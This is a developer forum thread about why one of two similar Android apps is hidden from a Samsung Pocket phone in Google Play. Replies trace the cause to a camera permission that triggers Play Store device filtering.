Android Question Strange behaviour of Google Play

[tigrot]

Hi everybody,
I have published two free APP to Google store. They were both tested, for basic phone compliance, on my GT-S5300(Samsung pocket). The features of the two APPs show identical capabilities, API, Layout and so on(clicking on release line). for the first App Pocket is able to find it in Google Store and download it as well, the second is hidden to it. The reason is: the first is marked compatible with the phone and with 3943 devices. The second APP is not compatible and is only compatible for 3276 devices. They both are compatible with small, normal and large layout. I don't understand the meaning of this... The strange is that the second APP works with the Pocket very well just like the first one.
Has anybody an hint for me?

Ciao
Mauro

In addition to previous post the not compatible devices seems to be all 320x240 120dpi.

 

[Informatix]

Could you post the manifest of your two apps?

 

[eps]

As Informatix has asked, part of the manifest file would be good to see. I suspect that there is another reason or function which the second App uses which your phone doesn't have available, but without seeing any code or manifest.xml file it's all guesswork.

Here is the first (working) manifest file:

Thank you very much for your time...

Probably because of the camera permission. See this link: http://www.b4x.com/android/forum/th...-which-i-developed-the-app.20626/#post-119047

 

[tigrot]

Thank you Erel. That did the trick...
I worked with more than 200 Compilers/Assemblies in 41 years and never got a better support than yours!
Did I understand right? The autofocus won't activate also if available?
Last question: is there a chance to activate Camera's features(if available) in code?
Thank you again...

Ciao
Mauro

Thank you

The "uses-feature" attributes don't have any effect on the program. Only on Google Play filters.
